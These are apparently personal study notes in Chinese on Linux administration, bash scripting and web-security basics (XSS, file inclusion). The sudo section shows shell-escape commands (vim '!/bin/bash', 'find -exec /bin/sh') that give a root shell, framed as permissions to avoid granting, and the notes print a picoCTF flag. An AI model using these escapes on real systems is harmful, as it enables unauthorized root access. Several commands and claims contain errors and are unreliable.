方法一:passwd [用戶] //交互式

方法二:echo '[用戶] : [密碼]' | chpasswd 非交互式

切換用戶

su [用戶] //還在原來目錄下

su - [用戶] //切換到用戶家目錄

刪除用戶 userdel

userdel [用戶] //無法直接刪，權限被拒絕

sudo userdel [用戶]

找出可疑用戶

(1)檢查/etc/passwd 文件中 UID 號為 0 的用戶 //用 awk

awk -F: '{print $1}' /etc/passwd //-F 指定字段分隔符

awk -F: '{print $1,$3}' /etc/passwd | grep -w 0 //印出 UID 為 0 的用戶

awk -F: '($3=="0") {print $1,$3}' /etc/passwd // awk 適用正則表達式，符合第三字段為 0 就印出

(2)檢查用戶登錄的 shell 是否正常(特別是程序用戶)

檢查第 7 個字段

awk -F: '($7=="/bin/bash") {print $1 }' /etc/passwd

(3)檢查系統中有無空密碼用戶

//空密碼用戶:默認可以本地登錄，但不允許遠程登錄

檢查/etc/shadow 的第 2 個字段
awk -F: '($2==" ") {print $1 }' /etc/shadow //可能需要在前面加 sudo

sudo 指令
//根據用戶指派權限
授權用戶部分管理權限
舉例:授權用戶 ABC 具備用戶管理的能力
(1)從 sudo 組中移除 //因為 ABC 的權限過大
gpasswd -d ABC sudo
(2)授權
用戶管理命令位置(which 查找)
添加用戶 /usr/sbin/useradd
刪除用戶 /usr/sbin/userdel
修改用戶 /usr/sbin/usermod
設置密碼 /usr/bin/passwd
在/etc/sudoers 中授權，用 visudo 編輯
配置語句:被授權用戶 主機角色=(以什麼用戶身分，沒指定就默認為 root) 命令列表(命令間以逗號分隔)
kali> visudo
找到%sudo ALL=(ALL:ALL) ALL
下一行加上:ABC ALL=/usr/bin/passwd,/usr/sbin/userdel,/usr/sbin/useradd,/usr/sbin/usermod
ctrl+x 退出並保存
ABC 用戶執行這些命令時要加 sudo
使用 sudo 授權時避免做的事
(1)避免授權如 vi、vim、ftp、less、more、emacs，因為這些程序支持 shell 轉譯
ABC ALL=/usr/bin/vim
授權 ABC 以 root 身分執行 vim 命令 //無指定主機角色，默認為 root
//:set nu vi 中添加行號(nonu 取消行號)
//:55 定位光標到 55 行
//:wq! 強制保存退出
末行寫入!/bin/bash 會得到 root 權限 //less、more 直接輸入
(2)避免授權如 cut、cat、awk、sed、find
sudo find . -name file1 -exec /bin/sh \;
//-name 按文件名查找 -exec 對找到的文件執行命令 ;結尾(用\轉譯)
得到 root 權限

系統管理
(1)主機信息查看
hostname 查看主機名
/etc/hostname 主機名配置文件
(2)操作系統信息查看
uname -a 主機名、內核版本、發行版、架構(如 64 位)
uname -r 系統內核版本
/etc/issue (本地控制台登錄的標題信息)
lsb_release -a 發行版(某些系統可能沒有這個命令)
/etc/*-release 含有系統信息
(3)硬件信息查看
/proc/cpuinfo 查看 CPU 信息
cat /proc/cpuinfo CPU | grep ^processor | wc -l //統計處理器(核心)數量，有幾行就有幾個
/proc/meminfo 查看內存信息
free 查看內存大小
-m 以 MB 顯示
-g 以 GB 顯示

fdisk　-l 顯示硬盤及其分區信息　//1~4 保留給主分區，邏輯分區(主分區下再分出來的)從 5 開始編號
lsblk 顯示快設備(存儲設備)
lsusb 顯示 USB 設備
lspci 顯示 PCI 接口的設備
df　-T 查看文件系統

IDA 逆向工程工具
c 槽，windows，system32，calc.exe
右鍵，IDA64bit

reverse 2023 (picoctf 練習網站)
kali 下載 ret
執行，要輸入正確密碼才能得到 flag
kali> strings　ret
picoCTF{3lf_r3v3r5ing_succe55ful_c83965de}
strings 指令
用來檢視二進位檔

軟件包更新
atp-get　install　[包名稱]　安裝軟件包
apt-get　remove　[包名稱]　刪除軟件包
dpkg　-l　[包名稱]　查看軟件包　//配合 grep 搜尋
apt-cache　search　搜尋軟件包　//配合 grep 搜尋
apt-cache　search　[關鍵字]　在倉庫中以指定關鍵字搜索軟件包
apt-cache　show　[包名稱]　顯示軟件包詳細信息

演示:以 tree 為例
(1)查看是否安裝　dpkg　-l　|　grep　tree
(2)顯示詳細信息　apt-cache　show　tree
(3)倉庫中搜索　apt-cache　search　tree
(4)安裝　atp-get　install　tree

//tree　顯示目錄(不顯示文件)
-d　顯示文件

進程管理在 linux 應急響應中的應用
//如服務器中挖礦木馬，勒索病毒、後門、爆破
(1)發現異常
如服務器變慢，系統資源大量消耗
(2)獲取異常進程 PID
[1]查看 CPU 占用
[2]查看內存占用

掛載
掛載就是把一個設備（文件系統）和目錄（掛載點）關聯起米，訪問該目錄就相當於訪問設備
如果設備不用了，需要先卸載
umount　[設備，如文件系統]
umount　[掛載點]
mount　[選項]　[設備，如文件系統]　[掛載點]

linux 常用命令

(1)文件管理
ls
chmod
touch
cat
echo
rm
cp
mv
find
locate
whereis
which
(2)文件壓縮
tar
gz
bz2
bzip2
zip
unzip
7z
7za
(3)目錄管理
tree
cd
mkdir
rm
cp
mount
(4)文本操作
cat
head
tail
more
less
vi
sort
uniq
grep
awk
cut
sed
(5)系統管理
hostname
uname
lsb_release -a
fdisk
df 查看文件系統
du 統計磁盤使用空間
lsusb
lspci
ps
top
htop
pstree
kill
killall
(6)軟件包管理
apt-get install
apt-get remove
apt-get update

apt-get　upgrade
dpkg
apt-cache　show 搜索
(7)服務管理
systemctl
systemctl　start
systemctl　stop
systemctl　restart
systemctl　status 狀態查看
systemctl　enable 開機啟動
systemctl　disable 禁用開機啟動
(8)網路管理
wget
curl 文件傳輸
scp 文件傳輸
netstat　-tunlp 端口開放狀態
netstat　-tuanlp 端口連接狀態
host
dig
nslookup
ifconfig
ip　a
ip　r 網關
route 網關
(9)終端窗口
　　tmux
(10)用戶管理
useradd
userdel 刪除
usermod
su
sudo
id 查詢用戶
who 查看在線
last 查看最近登錄
(11)組管理
groupadd
groupdel
gpasswd　-a 把用戶加入到組
groups 查尋組
(12)密碼相關
　　passwd 查看密碼狀態
　　chage 查看詳細密碼狀態
(13)遠程連接
　　rdesktop 通過 RDP(遠程桌面)習藝遠程連接 windows　//windows 啟用遠程桌面，默認開啟 3389 端口
　　ssh
　　nc

　　SSH 密鑰登錄
//不通過密碼的方式遠程連接 linux
(1)SSH 的兩種認證方式
　　[1]口令(密碼)認證
　　存在爆破可能
　　[2]密鑰認證
　　不需要輸入密碼，更安全
(2)公鑰算法
　　通常用 RSA 算法
　　也稱非對稱加密算法
　　加密和解密時用到的是一對密鑰　//用其中一個加密就要用另一個解密
　　公鑰(public key)　//可公開，通常用於加密
　　私鑰(private key)　//私有受保護的，通常用於做認證

遠程用戶(SSH 客戶端)向主機(服務端)出示私要證明其身分，主機使用公鑰驗證私鑰
　　//用戶生成的公鑰要交給主機

服務端將得到的公鑰存儲在~用戶/.ssh/authorized_keys　//以什麼用戶登錄就存在那個用戶的家目錄下

BASH 腳本編程

//可在一行中寫多條命令，之間用;隔開
echo　打印
　　-n　回車不換行(默認換行)
　　-e　解析轉譯字符
轉譯符
　　\c　回車不換行 n
　　\f　禁止
　　\t　相當於一個制表符
　　\n　回車換行
　　\a　發出警告聲
　　\r　回車
腳本第一行
　　#!/bin/bash　不加空格
　　#!　聲明腳本所使用的命令解釋器
調試腳本
　　bash　-x　[腳本]
printf　打印
　　可以格式化輸出，默認不自動換行
　　%開頭代表格式化替代符，其所對應的參數可以位於帶引號的格式化字符串之後
　　printf　"%s　%d\n"　"number of live hosts:"　15
　　常用格式化替代符
　　　\n　回車換行
　　　\r　表示回車
　　　\t　表示水平制表符
　　　%s　表示是一個字串
　　　%d　表示是一個數字
　　　%f　表示是一個浮點數
　　　%x　表示是一個十六進制
變量
//不能以數字開頭，系統變量通常是大寫，用戶定義的最好是小寫
變量賦值: 變量名=變量值　//變量值中如果包含空格，必須用全部在雙引號中(如 name="abc 123")
unset　[變量名]　取消變量定義
echo　$[變量名]　印出變量值(同 echo　${[變量名]})
[變量名]=$(命令)
命令變量

//把命令執行的結果保存在給定的變量中
變量賦值: 變量名=$(命令)　//同 變量名=`命令`
$#　參數個數
$1　表示第一個參數　//10 以上要加大括號(如${10})
$$　腳本運行的當前進程 ID 號

控制用戶輸入(與用戶交互)
read 語句可以從鍵盤或文件中讀入信息，並將其賦給一個變量
　　-p　顯示提示語句
read　-p　"please cin your name: "　name(變量)
　　如果直接執行會報錯，因為默認 SHELL 是 ZSH，所以要在 BASH 中執行　//輸入指令 bash 切換 SHELL

函數的定義
(1)函數名(){
　　命令
　}

(2)function 函數名(){　//可不加括號
　　命令
　}
　　函數的調用: 直接用名稱調用

if 判斷語句(單分支)
if 條件
then
　　命令 1
fi

if 條件; then
　　命令 1
fi

test 工具　內部測試命令，是判斷語句和循環語句的測試工具
　　test　EXPRESSION
　　test　[EXPRESSION]　// EXPRESSION 左右要有空格
　　// EXPRESSION 是測試條件表達式
　　//man　test　查看判斷符
echo　$?　判斷 true 或 false
　　0　true
　　1　false

if 判斷語句(雙分支)
if 條件
then
　　命令 1
else
　　命令 2
fi

例: 判斷輸入的文件是否存在
if　[　!　-e　"$1"　]　//test 判斷
　　then
　　　　echo　"file $1 does not exist"
　　　　exit　1　//exit 用來返回命令狀態碼
　　else
　　　　echo　"file $1 exist"
fi

用法: ./腳本名 [文件]　//如 kali> ./script.sh　file1

test 判斷字符串
-n　string　//字符串長度不為 0
-z　string　//字符串長度為 0
string1 = string2　//是否相等
string1 != tring2　//是否不相等

[[　-z　string　]]　//字符串長度為空
[[　$string1　=　$string2　]]　//是否相等

test 判斷目錄
-a　是否存在
-e　是否存在
-d　是否是一個目錄
-r　是否只讀
-s　是否不為空

一般 for 循環
```
for　變量　in　{列表}
    do
        循環體
    done
```
//列表賦值給變量，列表幾個值迴圈就執行幾次
例: 輸出五次 hello
```
for　var1　in　1　2　3　4　5　//也可以寫成{1..5}　要注意..的輸入法要是英文
    do
        echo　"hello　$var1　time"
    done
```

指定控制條件 for 循環
```
for((初始值;循環控制條件;變量變化))
    do
        循環體
    done
```

例: 從 1 加到 100
```
sum=0
for((i=1;i<=100;i=i+1))
    do
        sum=$(($sum+$i))　//也可以寫成 let sum=sum+i　(let 運算時變量不用加$)
    done
    echo　"total　is : $sum"
```

while 循環
//只要循環條件為真，就會一直循環
```
i=1
while(($i<=10))
    do
        echo　"abc"
        let　i++
    done
```
例: 從 1 加到 100
```
    i=1
    sum=0
    while((i<=100))
        do
            let　sum=sum+i　//或 sum=(($sum+$)i
            let　i++
        done
    echo　"total　is: $sum "
```

常見 SHELL 變量表達式
(1) ${#string}　$string 的長度

(2) ${#string:position}　從 position 開始提取字符串
(3) ${string:position:length}　從位置$position 開始提取長度為$length 的字串
如定義 BAR 變量為##########　//BAR='##########'　共 10 個#
echo　${BAR:0:6}
結果輸出#，共六個
(4) ${string #substring}　從開頭刪除最短匹配字串

簡單打字機腳本

```
COUNTER=1
BAR='##########'
while　[[$COUNTER　-lt　11]]　//當$COUNTER 小於 11
    do
        echo　-ne　"\r${BAR:0:CUUNTER}"　//回車不換行，在同一行輸入
        sleep　1　//間隔 1 秒
        COUNTER=$(($COUNTER+1))
    done
    //會打印# 1、2、3……10，但因為回車不換行，輸入會覆蓋前一次打印，所以#  會從 1 個顯示到 10 個
```

使用循環實現文件迭代(file iteration)

```
    //文件迭代: 對每一行進行讀取
for　line　in　$(cat　file.txt)
    do
        echo　$line
    done
```

if 條件

且

```
if　[A　-a　B]
if　[A]　&&　[B]
```

或

```
if　[A　-o　B]
if　[A]　||　[B]
```

HASH 算法

散列、雜湊、哈希，是把任意長度的輸入通過散列算法變換成固定長度的輸出
同的輸入可能會散列成相同的輸出，所以不可能從散列值來確定唯一的輸入值

超文本

超文本說的就是：不是普通文本，比如流媒體：聲音、視頻、圖片等

POST、GET 請求

POST

向指定資源提交數據進行處理請求(例如提交表單或者上傳文件)。數據被包含在請求體中。POST 請求可能會導致新的資源的創建或已有資源的修改

get 是把參數數據隊列加到提交表單的 ACTION 屬性所指的 URL 中，值和表單內各個字段一一對應，在 URL 中可以看到。
post 是通過 HTTPpost 機制，將表單內各個字段與其內容放置在 HTMLHEADER 內一起傳送到 ACTION 屬性所指的 URL 地址。用戶看不到這個過程

POST 把表單打包後隱藏在後臺發送給服務器;GET 把表單打包發送前，附加到 URL(網址)的後面
get 是從服務器上獲取數據，post 是向服務器傳送數據

get 安全性非常低，post 安全性較高。但是執行效率却比 Post 方法好

如果你的程序是通過用戶輸入查詢檢索的時候，一般用 GET，便于分享；
如果你的信息是一些比較敏感的，比如用戶的注册名稱，密碼，身份證號等等一些敏感的信息，一定要使用 post，這樣安全

GET 請求就是 HTTP 的 request，POST 請求就是 HTTP 的 response。這樣的說法正確嗎？爲什麼？
這種說法是完全錯誤的，GET 請求和 POST 請求都是上行的請求和下行響應的，也就是都是向服務器發送請求的（request），然後服務器進行對應的請求響應（response）

WEB 服務器滲透條件
正常通信 端口
C 段滲透 由網段中主機對目標發起攻擊

HTTP 請求
通常由瀏覽器發送 linux 的 curl 命令也屬於 url 工具
HTTP 屬於無狀態連接 //無狀態連接是指 WEB 瀏覽器與 WEB 服務器不需要建立持久連接
服務器響應請求後連接關閉 //服務器不能主動向客戶發送數據
javascript 驗證
javascript 驗證在 WEB 前端使用，不返回到服務器 用 burp suite 繞過驗證

XSS

跨站脚本攻擊 XSS 通過將惡意的 javascript 代碼注入到 Web 頁面中，當用戶用瀏覽器瀏覽該頁之時，嵌入其中的代碼會客戶的瀏覽器上執行
(1)反射型
攻擊者通過電子郵件等方式將包含 XSS 代碼的惡意鏈接(url)發送給目標用戶。當目標用戶訪問該鏈接時，服務器接收該目標用戶的請求幷進行處理，然後服務器把帶有 XSS 代碼的數據發送給目標用戶的瀏覽器，瀏覽器解析這段帶有 XSS 代碼的惡意脚本後，就會觸發 XSS 漏洞

竊取用戶 cookie 發送到指定站點
(2)存儲型
存儲型 XSS 是持久性跨站脚本，持久性體現在 XSS 代碼不是在某個參數（變量）中，而是寫進數據庫或文件等可以永久保存數據的介質中。存儲型 XSS 通常發生在留言板等地方，在留言板位置留言將惡意代碼寫進數據庫中

當其他用戶瀏覽這個被注入了惡意脚本的帖子時，惡意脚本會在他們的瀏覽器中得到執行。所以需要瀏覽器從服務器載入惡意的 XSS 代碼，才能真正觸發 XSS
(3)DOM 型

文件包含漏洞

開發者常常把可重複使用的函數寫入到單個文件中，在使用該函數時，直接調用此文件，而無需再次編寫函數，這一過程叫做包含

有時候由於網站功能需求，會讓前端用戶選擇要包含的文件，而開發人員又沒有對要包含的文件進行安全考慮，就導致攻擊者可以通過修改文件的位置來讓後台執行任意文件

PHP 提供四種文件包含的函數

[1]require():找不到被包含的文件會產生致命錯誤，並停止脚本運行
[2]include():找不到被包含的文件只會產生警告，脚本繼續執行
[3]require_once()與[1]類似:唯一的區別是如果該文件的代碼已經被包含，則不會再次包含
[4]include_once()與[2]類似:唯一的區別是如果該文件的代碼已經被包含，則不會再次包含

0day

通常是指還沒有修補程式的安全漏洞
0day 攻擊唯一徹底解決方法便是由原軟體發行公司提供修補程式，但此法通常較慢，因此軟體公司通常會在最新的病毒代碼中提供迴避已知零時差攻擊的功能，但無法徹底解決漏洞本身